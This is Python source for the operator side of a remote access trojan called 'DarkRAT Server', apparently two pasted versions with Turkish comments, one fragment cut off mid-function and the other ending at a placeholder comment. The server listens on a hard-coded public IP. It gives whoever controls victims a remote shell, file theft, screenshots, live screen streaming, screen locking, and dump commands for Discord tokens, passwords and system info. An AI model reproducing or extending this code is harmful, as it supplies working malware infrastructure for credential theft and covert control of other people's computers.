text.insert(tk.END, "[✓] Close 'exit' to remote console.\n") cmd_entry = tk.Entry(terminal, bg=ENTRY_BG, fg=ENTRY_FG, insertbackground=FG_COLOR) cmd_entry.pack(fill="x", padx=5, pady=5) cmd_entry.bind("", lambda event: send_command()) cmd_entry.focus() # --- Ekran Görüntüsü Alma --- def request_screenshot(): with active_client_lock: if not active_client: log("[!] No active client.") return ip, sock, sock_lock = active_client try: with sock_lock: sock.sendall(b"SCREENSHOT") raw_len = recv_all(sock, 8) if not raw_len: log("[!] Screenshot data error.") return total = struct.unpack(">Q", raw_len)[0] if total == 0: log("[!] Screenshot error.") return data = recv_all(sock, total) if data: os.makedirs("downloads", exist_ok=True) path = os.path.join("downloads", "screenshot.png") with open(path, "wb") as f: f.write(data) log(f"[✓] Screenshot saved: {path}") else: log("[!] Screenshot broken.") except Exception as e: log(f"[!] Screenshot err: {e}") def request_token_dump(): with active_client_lock: if not active_client: log("[!] No active client to dump tokens.") return ip, sock, sock_lock = active_client log("[>] Requesting Discord token dump from client...") result = send_command_and_receive(sock, sock_lock, "DUMP_TOKENS") if result: os.makedirs("downloads", exist_ok=True) path = os.path.join("downloads", f"{ip}_tokens.txt") with open(path, "w", encoding="utf-8") as f: f.write(result) log(f"[✓] Token dump saved: {path}") else: log("[!] Token dump failed or empty.") def request_system_info(): with active_client_lock: if not active_client: log("[!] No active client to get system info.") return ip, sock, sock_lock = active_client log("[>] Requesting system info from client...") result = send_command_and_receive(sock, sock_lock, "SYSINFO") if result: os.makedirs("downloads", exist_ok=True) path = os.path.join("downloads", f"{ip}_system_info.txt") with open(path, "w", encoding="utf-8") as f: f.write(result) log(f"[✓] System info saved: {path}") else: log("[!] Failed to get system info.") def request_lock_screen(): with active_client_lock: if not active_client: log("[!] No active client to lock screen.") return ip, sock, sock_lock = active_client log("[>] Sending lock screen command to client...") try: with sock_lock: sock.sendall(b"LOCK_SCREEN") log("[✓] Lock screen command sent.") except Exception as e: log(f"[!] Failed to send lock screen command: {e}") class StreamViewer(tk.Toplevel): def __init__(self, parent): super().__init__(parent) self.title("Screenshare") self.geometry("800x600") self.configure(bg=BG_COLOR) self.protocol("WM_DELETE_WINDOW", self.on_close) self.label = tk.Label(self, bg=BG_COLOR) self.label.pack(fill="both", expand=True) self.after(30, self.update_image) def update_image(self): global streaming_active if not streaming_active: return # streaming bitmişse tekrar çağırma try: data = None try: data = stream_data_queue.get_nowait() except queue.Empty: pass if data: image = Image.open(io.BytesIO(data)) image = image.resize((self.label.winfo_width(), self.label.winfo_height()), Image.Resampling.LANCZOS) photo = ImageTk.PhotoImage(image) self.label.config(image=photo) self.label.image = photo except Exception as e: log(f"[!] STREAM Viewer err: {e}") finally: # Hata olsa da sadece aktifse tekrar çağır if streaming_active: self.after(30, self.update_image) def on_close(self): global streaming_active, stream_viewer streaming_active = False stream_viewer = None self.destroy() # --- Streaming İşlemleri --- def receive_stream(sock, sock_lock): global streaming_active, stream_viewer fail_count = 0 MAX_FAILS = 5 # Maksimum kaç kez üst üste hata tolere edilir while streaming_active: try: with sock_lock: raw_len = recv_all(sock, 8, timeout=5) if not raw_len: log("[!] STREAM: Data length error.") fail_count += 1 if fail_count >= MAX_FAILS: break time.sleep(0.5) continue length = struct.unpack(">Q", raw_len)[0] if length == 0: log("[!] STREAM: Zero.") fail_count += 1 if fail_count >= MAX_FAILS: break time.sleep(0.5) continue with sock_lock: data = recv_all(sock, length, timeout=5) if not data: log("[!] STREAM: Data error (packet loss).") fail_count += 1 if fail_count >= MAX_FAILS: break time.sleep(0.5) continue fail_count = 0 try: stream_data_queue.put_nowait(data) except queue.Full: # Kuyruk doluysa en eskiyi at ve yenisini koy try: _ = stream_data_queue.get_nowait() stream_data_queue.put_nowait(data) except queue.Empty: pass except Exception as e: log(f"[!] STREAM: Fatal {e}") fail_count += 1 if fail_count >= MAX_FAILS: break time.sleep(0.5) streaming_active = False log("[✓] Stream ended.") # GUI kapat if stream_viewer and stream_viewer.winfo_exists(): stream_viewer.after(0, stream_viewer.destroy) stream_viewer = None def start_streaming(): global streaming_active, stream_viewer, stream_thread with active_client_lock: if not active_client: log("[!] No active client.") return ip, sock, sock_lock = active_client with sock_lock: try: sock.sendall(b"STREAM_START") streaming_active = True log("[✓] Stream started.") if stream_viewer is None or not stream_viewer.winfo_exists(): stream_viewer = StreamViewer(window) if stream_thread is None or not stream_thread.is_alive(): stream_thread = threading.Thread(target=receive_stream, args=(sock, sock_lock), daemon=True) stream_thread.start() except Exception as e: log(f"[!] Stream start err: {e}") def stop_streaming(): global streaming_active, stream_viewer with active_client_lock: if not active_client: log("[!] No active client.") return ip, sock, sock_lock = active_client with sock_lock: try: sock.sendall(b"STREAM_STOP") streaming_active = False log("[✓] Stream started.") if stream_viewer and stream_viewer.winfo_exists(): stream_viewer.destroy() stream_viewer = None except Exception as e: log(f"[!] Stream not stop: {e}") # --- Client Yönetimi --- def set_active_client(ip): global active_client with clients_lock: if ip not in clients: log(f"[!] Client not found: {ip}") return False sock, sock_lock, _ = clients[ip] with active_client_lock: active_client = (ip, sock, sock_lock) log(f"[✓] Select active client: {ip}") return True def connect_to_client(): selected = client_listbox.curselection() if not selected: messagebox.showerror("Error", "Select client!") return item_text = client_listbox.get(selected[0]) ip = item_text.split(" - ")[0] # IP'yi alıyoruz if set_active_client(ip): browse_directory(current_path.get()) def disconnect_client(): global active_client, streaming_active, stream_viewer with active_client_lock: if active_client: ip, sock, sock_lock = active_client try: sock.close() except: pass log(f"[-] Disconnected: {ip}") active_client = None streaming_active = False if stream_viewer and stream_viewer.winfo_exists(): stream_viewer.destroy() stream_viewer = None progress_var.set(0) file_tree.delete(*file_tree.get_children()) # --- Client bağlantılarını kabul et --- def handle_client(sock, addr): ip = addr[0] sock_lock = threading.Lock() with clients_lock: clients[ip] = (sock, sock_lock, 0) # ping başlangıç 0 log(f"[+] Connect: {ip}") update_client_list() try: while True: start = time.time() with sock_lock: sock.sendall(b"PING") pong = sock.recv(4) end = time.time() if pong != b"PONG": break ping_ms = int((end - start) * 1000) with clients_lock: if ip in clients: clients[ip] = (sock, sock_lock, ping_ms) update_client_list() threading.Event().wait(5) except Exception: pass finally: with clients_lock: if ip in clients: del clients[ip] with active_client_lock: if active_client and active_client[0] == ip: disconnect_client() update_client_list() log(f"[-] Disconnect: {ip}") try: sock.close() except: pass def accept_clients(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(("5.231.26.49", 9000)) server.listen(5) log("[✓] Listening: 0.0.0.0:9000") while True: try: client_sock, addr = server.accept() threading.Thread(target=handle_client, args=(client_sock, addr), daemon=True).start() except Exception as e: log(f"[!] Accept client err: {e}") # --- GUI Liste Güncelle --- def update_client_list(): client_listbox.delete(0, tk.END) with clients_lock: for ip, (_, _, ping) in clients.items(): client_listbox.insert(tk.END, f"{ip} - {ping} ms") # --- GUI Layout --- frame = tk.Frame(window) frame.pack(fill="x", padx=10, pady=10) style_frame(frame) label_path = tk.Label(frame, text="File Directory:") label_path.pack(side="left") style_label(label_path) file_entry = tk.Entry(frame, textvariable=current_path, width=50) file_entry.pack(side="left", padx=5) style_entry(file_entry) btn_go = tk.Button(frame, text="Go", command=lambda: browse_directory(current_path.get())) btn_go.pack(side="left", padx=5) style_button(btn_go) btn_back = tk.Button(frame, text="Back", command=go_back) btn_back.pack(side="left", padx=5) style_button(btn_back) file_tree = ttk.Treeview(window, columns=("File", "Size"), show="headings") file_tree.heading("File", text="File") file_tree.heading("Size", text="Size") file_tree.column("File", width=500) file_tree.column("Size", width=100) file_tree.pack(fill="both", expand=True, padx=10, pady=5) style_treeview(file_tree) file_tree.bind("", on_tree_double_click) progress = ttk.Progressbar(window, maximum=100, variable=progress_var) progress.pack(fill="x", padx=10, pady=5) style_progressbar(progress) client_listbox = tk.Listbox(window, height=3) client_listbox.pack(fill="x", padx=10, pady=5) style_listbox(client_listbox) connect_frame = tk.Frame(window) connect_frame.pack(fill="x", padx=10, pady=5) style_frame(connect_frame) btn_connect = tk.Button(connect_frame, text="Connect", command=connect_to_client) btn_connect.pack(side="left", padx=5) style_button(btn_connect) btn_disconnect = tk.Button(connect_frame, text="Disconnect", command=disconnect_client) btn_disconnect.pack(side="left", padx=5) style_button(btn_disconnect) log_box = tk.Text(window, height=10) log_box.pack(fill="both", expand=True, padx=10, pady=5) style_text(log_box) # --- GUI Butonlara Yeni İşlevler --- extra_frame = tk.Frame(window) extra_frame.pack(fill="x", padx=10, pady=5) style_frame(extra_frame) btn_terminal = tk.Button(extra_frame, text="Console", command=open_terminal) btn_terminal.pack(side="left", padx=5) style_button(btn_terminal) btn_screen = tk.Button(extra_frame, text="Screenshot", command=request_screenshot) btn_screen.pack(side="left", padx=5) style_button(btn_screen) btn_stream_start = tk.Button(extra_frame, text="Screenshare", command=lambda: threading.Thread(target=start_streaming, daemon=True).start()) btn_stream_start.pack(side="left", padx=5) style_button(btn_stream_start) btn_stream_stop = tk.Button(extra_frame, text="Screenshare Stop", command=stop_streaming) btn_stream_stop.pack(side="left", padx=5) style_button(btn_stream_stop) btn_dump_passwords = tk.Button(extra_frame, text="Dump Passwords", command=lambda: threading.Thread(target=request_password_dump, daemon=True).start()) btn_dump_passwords.pack(side="left", padx=5) style_button(btn_dump_passwords) btn_dump_tokens = tk.Button(extra_frame, text="Dump Discord Tokens", command=lambda: threading.Thread(target=request_token_dump, daemon=True).start()) btn_dump_tokens.pack(side="left", padx=5) style_button(btn_dump_tokens) btn_sysinfo = tk.Button(extra_frame, text="System Info", command=lambda: threading.Thread(target=request_system_info, daemon=True).start()) btn_sysinfo.pack(side="left", padx=5) style_button(btn_sysinfo) btn_get_logs = tk.Button( extra_frame, text="Get Logs", command=lambda: threading.Thread(target=request_logs, daemon=True).start() ) btn_get_logs.pack(side="left", padx=5) style_button(btn_get_logs) btn_lock_screen = tk.Button( extra_frame, text="Lock Screen", command=lambda: threading.Thread(target=request_lock_screen, daemon=True).start() ) btn_lock_screen.pack(side="left", padx=5) style_button(btn_lock_screen) # --- Başlatıcılar --- threading.Thread(target=accept_clients, daemon=True).start() window.after(100, process_log_queue) window.mainloop() 2025-11-09 18:49:07 - import socket import threading import tkinter as tk from tkinter import ttk, messagebox, scrolledtext import os import struct import queue import time from PIL import Image, ImageTk import io import json from datetime import datetime # --- Modern Tema renkleri --- BG_COLOR = "#0d1117" # GitHub dark theme FRAME_BG = "#161b22" # Çerçeve arka planı FG_COLOR = "#f0f6fc" # Açık yazı rengi HIGHLIGHT_COLOR = "#238636" # GitHub yeşil vurgu ACCENT_COLOR = "#1f6feb" # GitHub mavi ENTRY_BG = "#0d1117" # Entry arka plan ENTRY_FG = "#c9d1d9" BUTTON_BG = "#21262d" BUTTON_ACTIVE_BG = "#238636" LISTBOX_BG = "#161b22" LISTBOX_FG = "#f0f6fc" TREEVIEW_BG = "#161b22" TREEVIEW_FG = "#f0f6fc" TREEVIEW_ALT_BG = "#0d1117" PROGRESS_COLOR = "#238636" TEXT_BG = "#0d1117" TEXT_FG = "#f0f6fc" BORDER_COLOR = "#30363d" SUCCESS_COLOR = "#3fb950" ERROR_COLOR = "#f85149" WARNING_COLOR = "#d29922" # --- GUI Setup --- window = tk.Tk() window.title("DarkRAT Server v2.0 - Remote Administration Tool") window.geometry("1200x800") window.configure(bg=BG_COLOR) window.minsize(1000, 700) # Set window icon (optional - add an icon file) try: window.iconbitmap("server_icon.ico") except: pass # --- Global State --- log_queue = queue.Queue() clients = {} # ip: (socket, threading.Lock, ping_ms, last_seen, hostname) clients_lock = threading.Lock() active_client = None # (ip, socket, lock, hostname) active_client_lock = threading.Lock() progress_var = tk.IntVar() current_path = tk.StringVar(value="C:\\") streaming_active = False stream_thread = None stream_data_queue = queue.Queue(maxsize=30) stream_viewer = None # Configuration CONFIG = { "server_ip": "5.231.26.49", "server_port": 9000, "max_clients": 50, "ping_interval": 5, "timeout": 30 } # --- Modern Stil Fonksiyonları --- def setup_styles(): style = ttk.Style() style.theme_use('clam') # Treeview style style.configure("Dark.Treeview", background=TREEVIEW_BG, foreground=TREEVIEW_FG, fieldbackground=TREEVIEW_BG, bordercolor=BORDER_COLOR, borderwidth=1, font=("Segoe UI", 10) ) style.map("Dark.Treeview", background=[('selected', ACCENT_COLOR)], foreground=[('selected', FG_COLOR)] ) # Progressbar style style.configure("Dark.Horizontal.TProgressbar", troughcolor=FRAME_BG, background=PROGRESS_COLOR, thickness=20, bordercolor=BORDER_COLOR ) # Notebook style (for tabs) style.configure("Dark.TNotebook", background=BG_COLOR, bordercolor=BORDER_COLOR ) style.configure("Dark.TNotebook.Tab", background=BUTTON_BG, foreground=FG_COLOR, padding=[20, 5] ) style.map("Dark.TNotebook.Tab", background=[('selected', ACCENT_COLOR)], foreground=[('selected', FG_COLOR)] ) def style_button_modern(btn, accent=False): bg_color = ACCENT_COLOR if accent else BUTTON_BG btn.configure( bg=bg_color, fg=FG_COLOR, activebackground=ACCENT_COLOR if accent else BUTTON_ACTIVE_BG, activeforeground=FG_COLOR, relief="flat", bd=0, highlightthickness=0, font=("Segoe UI", 9, "bold"), cursor="hand2", padx=15, pady=8 ) def create_section_label(parent, text): label = tk.Label(parent, text=text, bg=BG_COLOR, fg=ACCENT_COLOR, font=("Segoe UI", 11, "bold"), anchor="w") return label # --- Logging System --- class Logger: @staticmethod def log(msg, level="INFO"): timestamp = datetime.now().strftime("%H:%M:%S") if level == "ERROR": colored_msg = f"[{timestamp}] [!] {msg}" elif level == "SUCCESS": colored_msg = f"[{timestamp}] [✓] {msg}" elif level == "WARNING": colored_msg = f"[{timestamp}] [!] {msg}" else: colored_msg = f"[{timestamp}] [>] {msg}" log_queue.put(colored_msg) @staticmethod def error(msg): Logger.log(msg, "ERROR") @staticmethod def success(msg): Logger.log(msg, "SUCCESS") @staticmethod def warning(msg): Logger.log(msg, "WARNING") @staticmethod def info(msg): Logger.log(msg, "INFO") def process_log_queue(): while not log_queue.empty(): msg = log_queue.get() # Color coding in log box log_box.configure(state='normal') log_box.insert(tk.END, msg + "\n") # Apply color tags if "[!]" in msg and "[✓]" not in msg: log_box.tag_add("error", "end-2l", "end-1l") elif "[✓]" in msg: log_box.tag_add("success", "end-2l", "end-1l") elif "[>]" in msg: log_box.tag_add("info", "end-2l", "end-1l") log_box.configure(state='disabled') log_box.see(tk.END) window.after(100, process_log_queue) # --- Enhanced Socket Helper --- def recv_all(sock, length, timeout=10): """Enhanced receive function with better error handling""" original_timeout = sock.gettimeout() try: sock.settimeout(timeout) data = b"" start_time = time.time() while len(data) < length: remaining = length - len(data) chunk = sock.recv(min(4096, remaining)) if not chunk: Logger.error("Connection lost during receive") return None data += chunk # Check for timeout if time.time() - start_time > timeout: Logger.error(f"Receive timeout after {timeout}s") return None return data except socket.timeout: Logger.error(f"Socket timeout while receiving {length} bytes") return None except Exception as e: Logger.error(f"Receive error: {str(e)}") return None finally: sock.settimeout(original_timeout) # --- File Operations --- def request_file_from_client(filename): with active_client_lock: if not active_client: Logger.error("No active client selected") return ip, sock, sock_lock, hostname = active_client try: Logger.info(f"Requesting file: {filename}") with sock_lock: sock.sendall(f"GETFILE {filename}".encode()) raw_len = recv_all(sock, 8) if not raw_len: Logger.error("Failed to receive file length") return total = struct.unpack(">Q", raw_len)[0] if total == 0: Logger.error("File not found on client") return # Create downloads directory with client subfolder client_folder = f"downloads/{ip}_{hostname}" if hostname else f"downloads/{ip}" os.makedirs(client_folder, exist_ok=True) path = os.path.join(client_folder, os.path.basename(filename)) received = 0 with open(path, "wb") as f: while received < total: chunk_size = min(8192, total - received) chunk = recv_all(sock, chunk_size) if not chunk: break f.write(chunk) received += len(chunk) percent = int(received * 100 / total) progress_var.set(percent) window.update_idletasks() if received == total: Logger.success(f"File downloaded: {path} ({total} bytes)") else: Logger.error(f"Incomplete download: {received}/{total} bytes") except Exception as e: Logger.error(f"File transfer failed: {str(e)}") def send_command_and_receive(sock, sock_lock, command, timeout=15): """Enhanced command sending with better timeout handling""" try: with sock_lock: # Send command sock.sendall(command.encode()) # Receive response length raw_len = recv_all(sock, 4, timeout) if not raw_len: Logger.error(f"Timeout receiving response for: {command}") return None length = struct.unpack(">I", raw_len)[0] if length == 0: return "" # Receive response data data = recv_all(sock, length, timeout) if data: return data.decode("utf-8", errors="ignore") else: Logger.error(f"Failed to receive response data for: {command}") return None except Exception as e: Logger.error(f"Command execution failed: {command} - {str(e)}") return None # --- Directory Browsing --- def browse_directory(path=None): if path is None: path = current_path.get() with active_client_lock: if not active_client: Logger.error("No active client selected") return ip, sock, sock_lock, hostname = active_client try: result = send_command_and_receive(sock, sock_lock, f"LISTDIR {path}") if not result: return if "PATH_NOT_FOUND" in result: Logger.error(f"Directory not found: {path}") return file_tree.delete(*file_tree.get_children()) current_path.set(path) lines = result.splitlines() for idx, line in enumerate(lines): if line.startswith("[DIR] "): name = line[6:].rsplit(" [", 1)[0] file_tree.insert("", "end", values=(name, "DIR", "-"), tags=('evenrow' if idx % 2 == 0 else 'oddrow')) else: parts = line.rsplit(" [", 1) if len(parts) == 2: name = parts[0] size = parts[1].rstrip("]") file_tree.insert("", "end", values=(name, "FILE", size), tags=('evenrow' if idx % 2 == 0 else 'oddrow')) Logger.success(f"Directory listed: {path}") except Exception as e: Logger.error(f"Directory browsing failed: {str(e)}") def on_tree_double_click(event): item = file_tree.selection() if not item: return name = file_tree.item(item[0])["values"][0] current_dir = current_path.get() path = os.path.join(current_dir, name) if file_tree.item(item[0])["values"][1] == "DIR": browse_directory(path) else: threading.Thread(target=request_file_from_client, args=(path,), daemon=True).start() def go_back(): current = current_path.get().rstrip("\\/") parent = os.path.dirname(current) if parent and os.path.splitdrive(parent)[1]: # Ensure we don't go above root browse_directory(parent) # --- Terminal Emulator --- def open_terminal(): with active_client_lock: if not active_client: Logger.error("No active client selected") return ip, sock, sock_lock, hostname = active_client terminal = tk.Toplevel(window) terminal.title(f"Remote Terminal - {ip}") terminal.geometry("700x500") terminal.configure(bg=BG_COLOR) # Terminal header header = tk.Frame(terminal, bg=ACCENT_COLOR) header.pack(fill="x", padx=2, pady=2) tk.Label(header, text=f"Remote Terminal - {ip} ({hostname})", bg=ACCENT_COLOR, fg=FG_COLOR, font=("Consolas", 10, "bold")).pack(pady=5) text_frame = tk.Frame(terminal, bg=BG_COLOR) text_frame.pack(fill="both", expand=True, padx=10, pady=10) text = scrolledtext.ScrolledText(text_frame, bg="#000000", fg="#00ff00", insertbackground="#00ff00", font=("Consolas", 10), wrap="word") text.pack(fill="both", expand=True) text.insert(tk.END, f"Remote Terminal Session - {ip}\nType 'exit' to close session\n\n") text.see(tk.END) def send_command(event=None): cmd = cmd_entry.get().strip() if not cmd: return cmd_entry.delete(0, tk.END) text.insert(tk.END, f"\n$ {cmd}\n") if cmd.lower() == "exit": text.insert(tk.END, "Closing terminal session...\n") terminal.after(1000, terminal.destroy) return try: result = send_command_and_receive(sock, sock_lock, f"RUNCMD {cmd}") if result: text.insert(tk.END, f"{result}\n") else: text.insert(tk.END, "[No response from client]\n") except Exception as e: text.insert(tk.END, f"[Error: {str(e)}]\n") text.see(tk.END) input_frame = tk.Frame(terminal, bg=BG_COLOR) input_frame.pack(fill="x", padx=10, pady=10) tk.Label(input_frame, text="$", bg=BG_COLOR, fg=SUCCESS_COLOR, font=("Consolas", 12, "bold")).pack(side="left") cmd_entry = tk.Entry(input_frame, bg="#000000", fg="#00ff00", insertbackground="#00ff00", font=("Consolas", 11), relief="flat", width=60) cmd_entry.pack(side="left", fill="x", expand=True, padx=5) cmd_entry.bind("", send_command) cmd_entry.focus() terminal.protocol("WM_DELETE_WINDOW", terminal.destroy) # --- Client Management --- def set_active_client(ip): global active_client with clients_lock: if ip not in clients: Logger.error(f"Client not found: {ip}") return False sock, sock_lock, ping, last_seen, hostname = clients[ip] with active_client_lock: active_client = (ip, sock, sock_lock, hostname) # Update client info display update_client_info(ip, hostname, ping) Logger.success(f"Active client set: {ip} ({hostname})") # Refresh file browser browse_directory("C:\\") return True def update_client_info(ip, hostname, ping): client_info_text.configure(state='normal') client_info_text.delete(1.0, tk.END) client_info_text.insert(tk.END, f"IP: {ip}\n") client_info_text.insert(tk.END, f"Hostname: {hostname}\n") client_info_text.insert(tk.END, f"Ping: {ping}ms\n") client_info_text.insert(tk.END, f"Status: Connected\n") client_info_text.insert(tk.END, f"Last Seen: {datetime.now().strftime('%H:%M:%S')}") client_info_text.configure(state='disabled') def connect_to_client(): selected = client_listbox.curselection() if not selected: messagebox.showwarning("Selection Required", "Please select a client from the list") return item_text = client_listbox.get(selected[0]) ip = item_text.split(" - ")[0] set_active_client(ip) def disconnect_client(): global active_client, streaming_active, stream_viewer with active_client_lock: if active_client: ip, sock, sock_lock, hostname = active_client try: with sock_lock: sock.close() except: pass Logger.info(f"Disconnected from client: {ip}") active_client = None streaming_active = False if stream_viewer and stream_viewer.winfo_exists(): stream_viewer.destroy() stream_viewer = None progress_var.set(0) file_tree.delete(*file_tree.get_children()) client_info_text.configure(state='normal') client_info_text.delete(1.0, tk.END) client_info_text.insert(tk.END, "No active client") client_info_text.configure(state='disabled') Logger.info("Client disconnected") # --- Server Core --- def handle_client(sock, addr): ip = addr[0] sock_lock = threading.Lock() # Get client hostname hostname = "Unknown" try: # Request system info to get hostname with sock_lock: sock.sendall(b"SYSINFO") raw_len = recv_all(sock, 4, 5) if raw_len: length = struct.unpack(">I", raw_len)[0] if length > 0: data = recv_all(sock, length, 5) if data: info = data.decode("utf-8", errors="ignore") for line in info.splitlines(): if line.startswith("Computer Name:"): hostname = line.split(":", 1)[1].strip() break except: pass with clients_lock: clients[ip] = (sock, sock_lock, 0, time.time(), hostname) Logger.success(f"New client connected: {ip} ({hostname})") update_client_list() try: while True: start = time.time() with sock_lock: sock.sendall(b"PING") pong = recv_all(sock, 4, 10) if pong != b"PONG": break end = time.time() ping_ms = int((end - start) * 1000) with clients_lock: if ip in clients: sock, lock, _, _, hostname = clients[ip] clients[ip] = (sock, lock, ping_ms, time.time(), hostname) update_client_list() time.sleep(CONFIG["ping_interval"]) except Exception as e: Logger.warning(f"Client connection lost: {ip} - {str(e)}") finally: with clients_lock: if ip in clients: del clients[ip] with active_client_lock: if active_client and active_client[0] == ip: disconnect_client() update_client_list() try: sock.close() except: pass def accept_clients(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind((CONFIG["server_ip"], CONFIG["server_port"])) server.listen(CONFIG["max_clients"]) Logger.success(f"Server started on {CONFIG['server_ip']}:{CONFIG['server_port']}") except Exception as e: Logger.error(f"Failed to start server: {str(e)}") return while True: try: client_sock, addr = server.accept() threading.Thread(target=handle_client, args=(client_sock, addr), daemon=True).start() except Exception as e: Logger.error(f"Error accepting client: {str(e)}") def update_client_list(): client_listbox.delete(0, tk.END) with clients_lock: for ip, (_, _, ping, last_seen, hostname) in clients.items(): status = "Active" if (time.time() - last_seen) < 30 else "Timeout" display_text = f"{ip} - {hostname} - {ping}ms - {status}" client_listbox.insert(tk.END, display_text) # --- Modern GUI Layout --- def create_gui(): # Configure styles setup_styles() # Main container with notebook (tabs) notebook = ttk.Notebook(window, style="Dark.TNotebook") notebook.pack(fill="both", expand=True, padx=10, pady=10) # Tab 1: Client Management tab_clients = tk.Frame(notebook, bg=BG_COLOR) notebook.add(tab_clients, text="Client Management") # Tab 2: File Manager tab_files = tk.Frame(notebook, bg=BG_COLOR) notebook.add(tab_files, text="File Manager") # Tab 3: Remote Control tab_control = tk.Frame(notebook, bg=BG_COLOR) notebook.add(tab_control, text="Remote Control") # Tab 4: Logs tab_logs = tk.Frame(notebook, bg=BG_COLOR) notebook.add(tab_logs, text="Logs") # Build each tab build_clients_tab(tab_clients) build_files_tab(tab_files) build_control_tab(tab_control) build_logs_tab(tab_logs) return notebook def build_clients_tab(parent): # Clients list section create_section_label(parent, "Connected Clients").pack(fill="x", padx=10, pady=(10, 5)) list_frame = tk.Frame(parent, bg=FRAME_BG, relief="ridge", bd=1) list_frame.pack(fill="both", expand=True, padx=10, pady=5) global client_listbox client_listbox = tk.Listbox(list_frame, bg=LISTBOX_BG, fg=LISTBOX_FG, selectbackground=ACCENT_COLOR, font=("Segoe UI", 10), relief="flat") client_listbox.pack(fill="both", expand=True, padx=5, pady=5) # Client info section create_section_label(parent, "Client Information").pack(fill="x", padx=10, pady=(10, 5)) info_frame = tk.Frame(parent, bg=FRAME_BG, relief="ridge", bd=1) info_frame.pack(fill="x", padx=10, pady=5) global client_info_text client_info_text = tk.Text(info_frame, height=4, bg=TEXT_BG, fg=TEXT_FG, font=("Consolas", 9), relief="flat") client_info_text.pack(fill="x", padx=5, pady=5) client_info_text.insert(tk.END, "No active client") client_info_text.configure(state='disabled') # Control buttons btn_frame = tk.Frame(parent, bg=BG_COLOR) btn_frame.pack(fill="x", padx=10, pady=10) btn_connect = tk.Button(btn_frame, text="Select Client", command=connect_to_client) style_button_modern(btn_connect, accent=True) btn_connect.pack(side="left", padx=5) btn_disconnect = tk.Button(btn_frame, text="Disconnect", command=disconnect_client) style_button_modern(btn_disconnect) btn_disconnect.pack(side="left", padx=5) btn_refresh = tk.Button(btn_frame, text="Refresh List", command=update_client_list) style_button_modern(btn_refresh) btn_refresh.pack(side="left", padx=5) def build_files_tab(parent): # Navigation section nav_frame = tk.Frame(parent, bg=BG_COLOR) nav_frame.pack(fill="x", padx=10, pady=10) tk.Label(nav_frame, text="Current Path:", bg=BG_COLOR, fg=FG_COLOR, font=("Segoe UI", 10)).pack(side="left") global current_path path_entry = tk.Entry(nav_frame, textvariable=current_path, bg=ENTRY_BG, fg=ENTRY_FG, font=("Segoe UI", 10), width=60) path_entry.pack(side="left", padx=5) btn_go = tk.Button(nav_frame, text="Go", command=lambda: browse_directory(current_path.get())) style_button_modern(btn_go) btn_go.pack(side="left", padx=2) btn_back = tk.Button(nav_frame, text="Back", command=go_back) style_button_modern(btn_back) btn_back.pack(side="left", padx=2) # File tree section tree_frame = tk.Frame(parent, bg=FRAME_BG, relief="ridge", bd=1) tree_frame.pack(fill="both", expand=True, padx=10, pady=5) global file_tree file_tree = ttk.Treeview(tree_frame, columns=("Name", "Type", "Size"), show="headings", style="Dark.Treeview") file_tree.heading("Name", text="Name") file_tree.heading("Type", text="Type") file_tree.heading("Size", text="Size") file_tree.column("Name", width=400) file_tree.column("Type", width=100) file_tree.column("Size", width=150) file_tree.pack(fill="both", expand=True, padx=5, pady=5) file_tree.bind("", on_tree_double_click) # Progress bar global progress_var progress = ttk.Progressbar(parent, variable=progress_var, maximum=100, style="Dark.Horizontal.TProgressbar") progress.pack(fill="x", padx=10, pady=5) def build_control_tab(parent): # Create a grid of control buttons control_frame = tk.Frame(parent, bg=BG_COLOR) control_frame.pack(fill="both", expand=True, padx=10, pady=10) # Row 1 row1 = tk.Frame(control_frame, bg=BG_COLOR) row1.pack(fill="x", pady=5) btn_terminal = tk.Button(row1, text="Remote Terminal", command=open_terminal, width=20) style_button_modern(btn_terminal, accent=True) btn_terminal.pack(side="left", padx=5) btn_screenshot = tk.Button(row1, text="Take Screenshot", command=request_screenshot, width=20) style_button_modern(btn_screenshot) btn_screenshot.pack(side="left", padx=5) # Row 2 row2 = tk.Frame(control_frame, bg=BG_COLOR) row2.pack(fill="x", pady=5) btn_stream_start = tk.Button(row2, text="Start Screenshare", command=lambda: threading.Thread(target=start_streaming, daemon=True).start(), width=20) style_button_modern(btn_stream_start) btn_stream_start.pack(side="left", padx=5) btn_stream_stop = tk.Button(row2, text="Stop Screenshare", command=stop_streaming, width=20) style_button_modern(btn_stream_stop) btn_stream_stop.pack(side="left", padx=5) # Row 3 - Information gathering row3 = tk.Frame(control_frame, bg=BG_COLOR) row3.pack(fill="x", pady=5) create_section_label(control_frame, "Information Gathering").pack(fill="x", pady=(20, 5)) row3_sub = tk.Frame(control_frame, bg=BG_COLOR) row3_sub.pack(fill="x", pady=5) btn_sysinfo = tk.Button(row3_sub, text="System Info", command=lambda: threading.Thread(target=request_system_info, daemon=True).start(), width=15) style_button_modern(btn_sysinfo) btn_sysinfo.pack(side="left", padx=2) btn_tokens = tk.Button(row3_sub, text="Discord Tokens", command=lambda: threading.Thread(target=request_token_dump, daemon=True).start(), width=15) style_button_modern(btn_tokens) btn_tokens.pack(side="left", padx=2) btn_passwords = tk.Button(row3_sub, text="Passwords", command=lambda: threading.Thread(target=request_password_dump, daemon=True).start(), width=15) style_button_modern(btn_passwords) btn_passwords.pack(side="left", padx=2) btn_logs = tk.Button(row3_sub, text="Get Logs", command=lambda: threading.Thread(target=request_logs, daemon=True).start(), width=15) style_button_modern(btn_logs) btn_logs.pack(side="left", padx=2) # Row 4 - System control row4 = tk.Frame(control_frame, bg=BG_COLOR) row4.pack(fill="x", pady=5) create_section_label(control_frame, "System Control").pack(fill="x", pady=(20, 5)) btn_lock = tk.Button(row4, text="Lock Screen", command=lambda: threading.Thread(target=request_lock_screen, daemon=True).start(), width=15) style_button_modern(btn_lock) btn_lock.pack(side="left", padx=2) def build_logs_tab(parent): global log_box log_frame = tk.Frame(parent, bg=FRAME_BG, relief="ridge", bd=1) log_frame.pack(fill="both", expand=True, padx=10, pady=10) log_box = scrolledtext.ScrolledText(log_frame, bg=TEXT_BG, fg=TEXT_FG, font=("Consolas", 9), relief="flat") log_box.pack(fill="both", expand=True, padx=5, pady=5) # Configure text tags for coloring log_box.tag_config("error", foreground=ERROR_COLOR) log_box.tag_config("success", foreground=SUCCESS_COLOR) log_box.tag_config("info", foreground=FG_COLOR) log_box.tag_config("warning", foreground=WARNING_COLOR) # --- Placeholder functions for unimplemented features 